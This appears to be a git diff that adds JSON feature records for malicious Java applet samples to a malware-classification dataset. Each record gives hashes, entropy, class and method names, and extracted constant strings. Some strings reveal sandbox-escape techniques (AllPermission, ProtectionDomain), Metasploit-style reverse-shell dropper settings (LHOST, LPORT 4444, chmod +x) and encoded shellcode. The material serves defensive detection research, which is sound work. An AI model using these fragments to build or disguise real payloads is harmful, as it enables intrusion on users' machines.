@@ +{"characteristics": {"java": {"class_name": "a/rfzlvhqxrbuzkhnmf", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "aqkvlsupcskyxhem", "gjcwicgjisjoyukbs", "ctjizpdfaykclnwovfz", "plgauplbvorkpssblvz", "edjieacntdaanyf", "hzscdqlhkifappk"], "minor_version": 0, "const_pool_count": 142}}, "_id": "b35fd5d1-c0cc-40c8-9751-5abbb39d6442", "verbose": {"java": {"constant strings": ["refshrkmohuasnv", "cceupymuudzztl", "alemsmkdgngfxgmqiao", "xrviaqripckndgwiqbmx", "desidcgvpwxvdlr", "pobvzcuhjfttftj", "qokbispjzpsooodw", "puguovkqpovyubnwut", "phlnmbwcpaknjhjoeqf", "hqcqpcyoytzwuwlfu", "ukmgcroktijvuh", "qatvaezotroeo", "wfazhtkqrgxtdjzhxq", "vhmbrmbdolbdazrxlr", "zxlhsftpeejw", "ilnyioelemoqryced", "ngpatpxywxwyhxplja", "vygxrmldqrwngzvijxrlz", "wsljdtagwjhghwvli", "glmovansgdfsjeplmwl", "bqauyqpmewopr", "rectrinuveakzm", "urpegkqbqpxghsoyrzbab", "hpouzcjtjijanjk", "tavhkdngkvnwa", "iaerlaembgdvznl", "iovtvfkyeibxejmnzr", "azqvksrmnyuqxqtwshqj", "zspptqmqkyhp", "zrnrppuhnmrymmjbtguj", "fpwxbgbgyygxez", "cfhdiijeyvan", "yitsyhilrlvwqlnel", "jazhwuuksnnxyrfbc", "gdbwukpjpjwpemejphyyl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "821f9bf8046ffcd8f4f55f949e5b48b0f44d27f4", "file_name": "java_malicious/c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53", "_id": "b35fd5d1-c0cc-40c8-9751-5abbb39d6442", "score": 0, "entropy": 5.860381121530715, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3072, "ssdeep": "48:7iV+YrAAOLrLwe2yIqTVH6e34KkgoSiWzAq6Ld3aX3cQZh/MwgJ5zBgyPv9fzHw:MBr5MIqTp6eouRAqQd2/MwA5Nt7w", "sha256": "c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53", "md5": "2536647f43a9c574710d966b8a3e502d", "parent_sha256": "c880dba0a9579f68129615d376a8ce48629e623edbc5bce5924399ea82516e53"}} \ No newline at end of file diff --git a/java_classification/data/malicious/c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778.results b/java_classification/data/malicious/c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778.results new file mode 100755 index 0000000..db5454f --- /dev/null +++ b/java_classification/data/malicious/c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Sis", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Eppa", "NGbe"], "minor_version": 0, "const_pool_count": 164}}, "_id": "81e8eb75-d184-4093-9156-63807dfb7f9d", "verbose": {"java": {"constant strings": ["java.securi", "ty.Al", "lPermission", "add", "java.security.Permission", "java.security.", "java.security.PermissionCollection", "java.security.Prote", "ctionDo", "main", "java.io.BytWeArWrayOWutputStWreWam", "cl", "ose"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fa9f918751ff723abb0951cd8cc95ce4af123eb6", "file_name": "java_malicious/c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778", "_id": "81e8eb75-d184-4093-9156-63807dfb7f9d", "score": 0, "entropy": 5.686760869674639, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2354, "ssdeep": "48:7UPHybybkgvy8h6vbI1NshWF2qcGSgS+fg2774HApNVcN3w7/6KrWzTz:7qr4UQbyTqNQuHB3w0nz", "sha256": "c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778", "md5": "975f6d9fa77a6f666c1eb28737185baa", "parent_sha256": "c890576480f424ef3aed0eb79f8ccf9c39f90c61b4db4d3d671304186e490778"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81.results b/java_classification/data/malicious/ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81.results new file mode 100755 index 0000000..aceac9b --- /dev/null +++ b/java_classification/data/malicious/ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Addoo2.java", "class_name": "wjrqfstrvkwwtlg/Addoo2", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "rWzCefBii"], "minor_version": 0, "const_pool_count": 226}}, "_id": "16bf51a9-e269-46af-9184-1d78e8b4ff67", "verbose": {"java": {"constant strings": ["::", "SXOX\\x17W\\\\M\\x17lku", "VI\\\\WjMK\\\\XT", "\\\\A\\\\Z", "K\\\\^JOK\\n\\x0b\\x19\\x14J\\x19\\x1b", "\\x1b"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "654ef4d1fe49a43791168543118786a4a801440a", "file_name": "java_malicious/ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81", "_id": "16bf51a9-e269-46af-9184-1d78e8b4ff67", "score": 0, "entropy": 6.010105981022225, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3990, "ssdeep": "96:q8kAlFrCPmUErup1cc7zEcRCdEz8l2NCz:cAlFSb1cqKl2C", "sha256": "ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81", "md5": "aea355496c4e17fb5fc198d365394051", "parent_sha256": "ca44da08842d4fe85a8b75840906779c312fc1db208da3501444c4bd1c75ee81"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5.results b/java_classification/data/malicious/ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5.results new file mode 100755 index 0000000..a12b186 --- /dev/null +++ b/java_classification/data/malicious/ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "korbys", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "lop", "sol", "kit", "ate", "oil", "pin", "yuk", "bad"], "minor_version": 0, "const_pool_count": 254}}, "_id": "e57446e4-bcd9-4138-9fae-26caa5063656", "verbose": {"java": {"constant strings": ["zit", "@", "sb34fdf3tSb34fdf3curityManagb34fdf3r", "b34fdf3", "e", "crwetgr25atwetgr25Writablwetgr25Rastwetgr25r", "wetgr25", "Raster", "BufferedImage", "java.awt.image.", "fientbe23le:/entbe23//", "entbe23", "", "java.security.Permissions", "ons", "on", "Perm", "AllPerm", "java.security.ProtectionDomain", "add"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "33cb622806e9f4a1c5b0e87432ff285f20305039", "file_name": "java_malicious/ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5", "_id": "e57446e4-bcd9-4138-9fae-26caa5063656", "score": 0, "entropy": 5.76002435450611, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4406, "ssdeep": "96:M4HL0NK9B7rzdsQdQMdhw9NhTNkdh2OJsHt2HQtpd8a:M4rZj7rzXQ8Ys2ms1R", "sha256": "ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5", "md5": "bf27d32b718b6abfd74273a0b06f8d7e", "parent_sha256": "ca4a19eb90a4df23377d7f2a3afaac579139112a1a9e444021a48f31e4b21ba5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c.results b/java_classification/data/malicious/cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c.results new file mode 100755 index 0000000..7c4ebd1 --- /dev/null +++ b/java_classification/data/malicious/cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "ssWTWkMlZo/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "edbb88a0-0847-4606-b3b9-7749027d34ba", "verbose": {"java": {"constant strings": ["ssWTWkMlZo.Payload", ".class", "/ssWTWkMlZo.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "ssWTWkMlZo.dat", "URL", "", "https:", "ssWTWkMlZo/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "ssWTWkMlZo/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "ssWTWkMlZo.PayloadTrustManager", "useFor", "java.net.URLConnection", "ssWTWkMlZo.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaJGGTFCJ.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c0c82ea4825bc1a411075c89c0c5e674c6fc0712", "file_name": "java_malicious/cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c", "_id": "edbb88a0-0847-4606-b3b9-7749027d34ba", "score": 0, "entropy": 6.141927446292409, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tEwqMf8E+mtmOh9Pn7xNvpvUrKYvCkgHzbDrDF:5+6BMf8E+2h9Pn1NvZU+YvaH3B", "sha256": "cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c", "md5": "e43ef8541ac763c4d990a64ae9996eba", "parent_sha256": "cb324d093420ce8446ba9eb7ef7398e52020f6787e0ff86c98ec3763c24ec61c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57.results b/java_classification/data/malicious/cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57.results new file mode 100755 index 0000000..d1e806b --- /dev/null +++ b/java_classification/data/malicious/cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "start", "Sujkz", "HS", ""], "minor_version": 0, "const_pool_count": 232}}, "_id": "5dedf24a-609e-4abd-8fda-e0317c8dace4", "verbose": {"java": {"constant strings": ["Kuran.class", "java.lang.invoke.MethodHandles", "lookup", "$", "forName", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.Generated", "Loader", "enter", "create", "define", "Kuran", "find", "Static", "Virtual", "Lookup"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4d1423c6aa223d482bc4a5d3e22932fd0af01836", "file_name": "java_malicious/cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57", "_id": "5dedf24a-609e-4abd-8fda-e0317c8dace4", "score": 0, "entropy": 5.8260404942946895, "libmagic": "compiled Java class data, version 51.0", "file_size": 3920, "ssdeep": "48:lOStaOPDdON3yGnkkv/g4252G2KzTUqT50sbwwoCwoHDw7K7kbhY9ESU5u8gYA85:EStJH42YYgwZwADw0EdgYrutKx", "sha256": "cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57", "md5": "df85a062ed7c7d09e756d799cbb2345f", "parent_sha256": "cb36a457fca78f77a5a1acddf7cfbcb2d3c30a7826393c014d886fd6848a6b57"}} \ No newline at end of file diff --git a/java_classification/data/malicious/cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960.results b/java_classification/data/malicious/cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960.results new file mode 100755 index 0000000..991634d --- /dev/null +++ b/java_classification/data/malicious/cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "1eba2cd3-58f3-4d63-ae19-e9ac1c3a53c2", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pz,0z,0L,PL,Pn,pZ,0L,PN,pn,p9,x3,0E,PW,p7,pH,kU,PM,9K,Lc,0W,pU,PQ,Op,do,Q6,PG,p3,0w,pB,Xt,LL,KQ,PT,Ln,k4,05,LL,mL,Ka,x6,hH,kd,Il,Ka,PD,tL,MQ,P1,lN,kp,hw,Ln,kL,71,zf,dB,y9,xN,ow,pg,pu,PH,bL,9r,H2,OP,nS,03,0r,Hp,ur,RB,Lb,Mv,4Y,od,VL,KI,xM,8D,9s,0u,PS,0L,Kn,7W,7O,pu,oW,pQ,ex,zB,gb,w1,Wo,pg,OU,PR,UY,jn,kj,Oq,OT,sI,YK,1x,l7,ts,1W,pG,pl,KK,lP,Qp,R3,cc,XW,tU,Qg,pg,p9,oP,VT,Lq,Js,iR,qp,Rn,k7,rQ,CW,3k,07,Ke,Pp,uK,Jk,11,kk,LT,nc,Up,xU,5s,EU,Sl,CJ,Kc,8L,I4,CK,wp,Cw,td,nS,Ud,81,ux,FQ,Sw,x7,pQ,KL,JO,1E,TV,Pm,XP,E5,PT,sy,PV,0B,pQ,CP,W6,0K,OP,VV,pM,SY,h5,Pp,u4,F3,Zu,QV,3k,OP,Vw,tp,ZR,yK,3j,bv,dC,qM,P7,JW,pS,En,TK,OR,vG,xr,qF,6n,kq,e7,Ll,K0,tD,nd,8u,Sl,5V,6L,Kq,fe,pC,3z,U6,SK,yr,i7,1n,Ms,3O,5V,SY,Kv,om,nR,0W,JJ,vR,Ts,8y,Qz,kV,mw,sy,JS,pz,Ki,aG,K7,oP,uK,WC,nL,KQ,Ne,tT,Cy,MQ,vN,k4,L2,kL,KS,nE,Lu,Sk,mL,K7,tN,kU,Sj,eL,kq,Nv,9K,sI,xK,OK,NK,Ok,Ol,NP,Nd,NZ,Lo,h9,nl,Jd,N3,Nx,Xk,RT,3F,SX,Jm,Za,Kp,67,jt,o2,PB,Pe,7P,lR,Hu,PR,HS,Dp,tP,pt,zt,od,oP,cP,a0,tE,6B,Lp,o3,GU,5P,r1,qQ,b2,TT,nq,sR,O0,mv,OB,N1,u2,WC,CT,oR,M1,qQ,b1,sP,hv,Np,h0,tB,MB,Lv,O2,Nt,pp,0T,x6,Qt,pP,60,2V,PF,Qv,SP,1t,xr,Rp,0V,T6,PT,ys,zt,pQ,v4,pd,p0,0P,6V,PP,1s,bt,tp,c3,Rr,D5,5p,8p,2q,tV,7q,vd,wq,vD,xp,4f,TP,dF,Y2,x5,14,rw,B4,wV,Ua,ve,hV,PQ,I2,EF,Ye,iP,3T,sv,US,U5,hp,ZD,pD,qt,pD,pB,Fd,pv,Xt,p3,0u,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e3f19b6721e1871aec690eb30f3b405a7ce6a6d5", "file_name": "java_malicious/cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960", "_id": "1eba2cd3-58f3-4d63-ae19-e9ac1c3a53c2", "score": 0, "entropy": 5.990338619472991, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3132, "ssdeep": "96:hFFlIc8TSurR/QZM4q8RxC92XQjt9bKsCn:1lyW6R/iTdRxEkQpRKx", "sha256": "cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960", "md5": "f50455fdb717a2868e4078a099393c1c", "parent_sha256": "cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960"}} \ No newline at end of file diff --git a/java_classification/data/malicious/cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956.results b/java_classification/data/malicious/cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956.results new file mode 100755 index 0000000..9f9958b --- /dev/null +++ b/java_classification/data/malicious/cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/exrmwqjszdxbkvg", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "xasisggjggkkg3", "xasisggjggkkg4", "xasisggjggkkg5", "xasisggjggkkg6", "xasisggjggkkg7", "init_zero", "init_zero_out", "init_two", "mabxcfuyzfodm", "init", "xasisggjggkkg", "lroickhej", "lxelrtcylkjddzt", "cfgccq", "yskngvm", "wdhzdssnnkfrag", "jmgrctvt", "mphphmrezsh", "uzafzwyhei", "xasisggjggkkg0", "xasisggjggkkg1", "xasisggjggkkg2"], "minor_version": 0, "const_pool_count": 69}}, "_id": "8e9fea6f-07cb-448b-bf97-a56ce58c1d63", "verbose": {"java": {"constant strings": ["fjdhs", "sdfkghjdskf"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9c1383a20dcea0ad33b005111c1d7cca9d02fe25", "file_name": "java_malicious/cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956", "_id": "8e9fea6f-07cb-448b-bf97-a56ce58c1d63", "score": 0, "entropy": 5.353173793280202, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 25537, "ssdeep": "384:WgIJF7B65P3gb0tx6muOGs7s/aaMVjXAFDIkFexPA8H5qLeijF4w8NfNxY4k588W:YRgtfuOGJgXAFNFexPlZOF4w8lNo5JO", "sha256": "cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956", "md5": "81fdf983feccaeacb10346695d53219b", "parent_sha256": "cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956"}} \ No newline at end of file diff --git a/java_classification/data/malicious/cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15.results b/java_classification/data/malicious/cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15.results new file mode 100755 index 0000000..22ac03c --- /dev/null +++ b/java_classification/data/malicious/cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "z", "class_name": "x/b", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["gcb", "", "gpd", "hexToByte"], "minor_version": 0, "const_pool_count": 182}}, "_id": "81d1dc73-e8ff-40ff-b81d-56dc376f043d", "verbose": {"java": {"constant strings": ["C{\\x04~T", "=\\x13$D", "p6>)z{?<\\x07B", "3\\x0e\\x1ch\\'\\x16,\\x17\\x14k5\\x1a\\x1dA", "\\x1dt#\\x1b\\x0c*+v\\x0b@\\x0fc", "\\x04>\\x1d5\\x0c*\\x12\\x0bU=\\x1b\\x03\\x17\\x1ba\\x0e\\x1b\\x12\\x02", "\\x0b\\x1d\\x164P\\x0cZ>\\x06\\x11_\\x04(\\x1f@", "i>.9\\x12i \"\\x1b\\xc0\\x809h\\x10\\x19\\x17q", ":,x\\x188!8-Zh\\x10\\x16r", "xw\\x120\\x12\\x15NjH\\x020\\x01Hv\\r\\x01Y", "\\x0c\\x14( 0g0\\x14\\n\\x05", "\\x07Q\\x1c\\x03|", "\\x0e\\x03qx/\\x1e\\xc0\\x80:*J\\x0cT\\x19\\x03\\x03n\\x12\\x1b(\\x0f", " B#P\\x080#D", "-7O\\x17U\\x1c\\xc0\\x80,G", "\\t\\x17;%b}\\x15;+\\xc0\\x80,\\x7f \\x03\\xc0\\x80e", ".6\\x083%k3Q\\tV", "4&:{\\x10*u$\\x04{82\\x020j|8+\\x14u", "\\x16P\\'#\\x10B+\\x0c\"@", "\\x18.X?:/I\\x13g\\xc0\\x80*,p", "\\x16\\x04q\\x12bx\\x17\\x11-\\x15\\x08X{U(\\t", "p\\x13ccw$\\x17}", ">\\x15\\x19\\x08o\\x15\\x0e\\x07S", "\\x045\\x17k^y\\rzK", "\\\\\"\\x1f>\\x7f\\x1a\\x13.6=W\\n,\\x1ch", "T\"*\\x01\\x07\\n-\\x06-}1@6\\x1d|", "\\x0c9N\\x05*r", "\\x11$.5\\x05q", "\\x06o[-C\\x0f\\x1be\\x0b-.\\xc0\\x80H{\\x05", "\\x02\\xc0\\x80\\'\\x06\\rz-(\\x16O7`F\\x04\\tB", "6qX:\\x05\\x0fr_h\\x05 K06\\x0b;gH", "\\x17X\\x1eX\\x1d&3\\x15\\n\\x1d\\r;0\\x04", "\\x1e\\x1c\\x16%\\x0e\\x1e6\\x13_w\\x18\\x08\\x073\\xc0\\x80-)%i", "uH"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dc39f3ac6f4c2f6013af4531ac2f1993810f06f2", "file_name": "java_malicious/cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15", "_id": "81d1dc73-e8ff-40ff-b81d-56dc376f043d", "score": 0, "entropy": 6.139430346319999, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3209, "ssdeep": "48:0qyFl5WO4iYCcnaGMRmkpjhur2+y2sgXis0dKbfOh3TBSN:0jFl5WcYNnav9huy+y2sgidKLOhdSN", "sha256": "cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15", "md5": "a01cf13b15b06713dc3cc90c2bf26e16", "parent_sha256": "cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15"}} \ No newline at end of file diff --git a/java_classification/data/malicious/cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9.results b/java_classification/data/malicious/cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9.results new file mode 100755 index 0000000..73c3c1f --- /dev/null +++ b/java_classification/data/malicious/cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/mcglfmepknyc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "dnypqvhsdhselewtvrh"], "minor_version": 0, "const_pool_count": 86}}, "_id": "2ada7a10-484d-4717-a50e-2a6cf056e9cf", "verbose": {"java": {"constant strings": ["Content-Type", "application/x-www-form-urlencoded", "text=713406"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "811acd72fb32a7bfe2bc4dc5dfdca306f1c9ac72", "file_name": "java_malicious/cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9", "_id": "2ada7a10-484d-4717-a50e-2a6cf056e9cf", "score": 0, "entropy": 5.610599589834496, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1160, "ssdeep": "24:lEl/9bYSyQlY/Hl18HXfqyM/EvHEA333ZEzVshXlfDrhIT:4/9bYSyoiF0Sybv9HpKshXlJM", "sha256": "cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9", "md5": "70d7d551d4266d599f518b2dad160f7d", "parent_sha256": "cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f.results b/java_classification/data/malicious/ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f.results new file mode 100755 index 0000000..bd26622 --- /dev/null +++ b/java_classification/data/malicious/ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/vjjlwwcayuj", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "ulabp"], "minor_version": 0, "const_pool_count": 61}}, "_id": "ea577553-385c-47f5-9eaf-ee9f67f12e07", "verbose": {"java": {"constant strings": ["\\x0e\\x13\\x07", "EfK?^2Fb@0\\x1f#Kf\\x1fe[a_;\\x18m@/C=O \\x1b?N`]c", "X\\x15U\\x0e\\x10G\\x0e\\x1e\\x0c\\r\\x11\\x15\\x04\\x1a\\x0b\\x17\\x0e"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a9fab5480c46f06bc099f2e3fd137806c7643e17", "file_name": "java_malicious/ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f", "_id": "ea577553-385c-47f5-9eaf-ee9f67f12e07", "score": 0, "entropy": 5.51174976855988, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 982, "ssdeep": "24:aVPtNryQDZH2Vfb8pO5lIlhBPpeqWv4Lv6e83n4sf2:aRt5yoG8s5lIe/4GemZu", "sha256": "ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f", "md5": "2d28b7d027d9d92ab44c8604949a1694", "parent_sha256": "ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded.results b/java_classification/data/malicious/ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded.results new file mode 100755 index 0000000..a904aaa --- /dev/null +++ b/java_classification/data/malicious/ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "lYgkVOKbAd/TFTtIJi", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "853b55d1-f38a-412d-a7ce-c8bd252e69c4", "verbose": {"java": {"constant strings": ["lYgkVOKbAd.TFTtIJi", ".class", "/lYgkVOKbAd.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "lYgkVOKbAd.dat", "URL", "", "https:", "lYgkVOKbAd/TFTtIJiTrustManager.class", "TFTtIJiTrustManager.class", "AESPassword", "lYgkVOKbAd/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "lYgkVOKbAd.TFTtIJiTrustManager", "useFor", "java.net.URLConnection", "lYgkVOKbAd.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "TFTtIJi -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c8567ccf12e9a29c6efb23a2c2f13f0c712836a8", "file_name": "java_malicious/ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded", "_id": "853b55d1-f38a-412d-a7ce-c8bd252e69c4", "score": 0, "entropy": 6.148079984089803, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMwDUB7L+Wg1JThmsQxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tMHetmByNvpvUrKYvCkgHzbDrDF", "sha256": "ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded", "md5": "12a3108f24d2c38068ebfcb24efec4ba", "parent_sha256": "ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e.results b/java_classification/data/malicious/ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e.results new file mode 100755 index 0000000..8bcdd12 --- /dev/null +++ b/java_classification/data/malicious/ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Suu", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Alla", "Pimmer", "Zimmi", "Siil"], "minor_version": 0, "const_pool_count": 124}}, "_id": "dc16234f-694f-471f-9998-1869025445f4", "verbose": {"java": {"constant strings": ["write", "jav", "a.i", "o.tmpdir", "c", "lo", "se"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5f61272c5dd2de34df97ee23b4cb88feb3651ddd", "file_name": 